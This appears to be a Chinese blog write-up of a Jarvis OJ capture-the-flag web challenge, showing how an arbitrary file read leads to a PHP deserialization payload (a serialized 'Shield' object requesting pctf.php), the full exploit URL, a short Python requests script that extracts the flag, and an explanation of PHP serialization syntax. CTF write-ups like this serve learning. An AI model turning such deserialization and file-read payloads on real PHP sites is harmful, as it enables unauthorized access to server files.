jarvis oj 中的反序列化

jarvis oj 中的反序列化

收集信息:

image.png
发现是张图片,如果没有表明是个misc题目的话,这张图片显然是base64文件流读出来的,新标签看一下:
image.png         显然,这是个bsae64文件读出来的,上面 "img ="给我我们提示,显然是个任意文件读,那么我们把它所有必要文件都读出来: index.php shield.php    showimg.php
index.php:
image.png


shield.php:
image.png
showimg:
image.png
仔细观察,showimg除了用来读出他们其他没啥作用,至于过滤都是为了防护恶意破坏。可以看到本题是个反序列化的问题;

payload构造

最近在锻炼用python来写payload,所以本题也就用python写个payload,其实直接输入:

payload:    class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} 即可

http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
然后查看源码就可以了:
image.png
这里python payload这么写:

import requests
import re
payload = "/?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}"
p = requests.get('http://web.jarvisoj.com:32768/index.php'+payload)
t = p.text
flag = re.findall('Flag.+',t)
print(flag)

image.png

题目重点在于反序列化的使用:

一个对象中的序列化传入:
O:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;}
1.O:对象,都写入O意为 Object
2.每个类型传入或者数字之后都要加上" : "
3.第二个是对象名的字符个数:6
4.下一个是对象名:Shield
5.下个是传入的变量个数:1
6.写变量时为了区分要加上:{}
7.第一个是变量名的类型:S 意为"String"
8.接着是变量名长度:4
9.变量名:"file"
10.之后就重复变量名这一套写入变量值。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值